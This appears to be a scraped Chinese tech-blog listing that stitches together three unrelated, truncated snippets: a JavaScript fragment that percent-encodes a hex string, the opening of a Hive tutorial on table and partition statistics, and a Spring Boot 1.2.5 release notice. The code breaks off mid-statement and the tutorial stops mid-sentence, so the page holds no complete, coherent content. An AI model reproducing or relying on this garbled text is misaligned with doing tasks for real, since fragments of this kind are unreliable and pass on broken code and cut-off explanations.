每天进步一点点 学习永无止境 纵观千象 regex
var v = 'C9CFBAA3CAD0';
console.log(v);
var arr = v.split('');
for (var i = 0; i < arr.length; i ++) {
if (i % 2 == 0) arr[i] = '%' + arr[i];
}
console.log(arr.join(''));
console.log(v.r
[一起学Hive]之十五-分析Hive表和分区的统计信息(Statistics)
superlxw1234
hive hive分析表 hive统计信息 hive Statistics
关键字:Hive统计信息、分析Hive表、Hive Statistics
类似于Oracle的分析表,Hive中也提供了分析表和分区的功能,通过自动和手动分析Hive表,将Hive表的一些统计信息存储到元数据中。
表和分区的统计信息主要包括:行数、文件数、原始数据大小、所占存储大小、最后一次操作时间等;
14.1 新表的统计信息
对于一个新创建
Spring Boot 1.2.5 发布
wiselyman
spring boot
Spring Boot 1.2.5已在7月2日发布,现在可以从spring的maven库和maven中心库下载。
这个版本是一个维护的发布版,主要是一些修复以及将Spring的依赖提升至4.1.7(包含重要的安全修复)。
官方建议所有的Spring Boot用户升级这个版本。
项目首页 | 源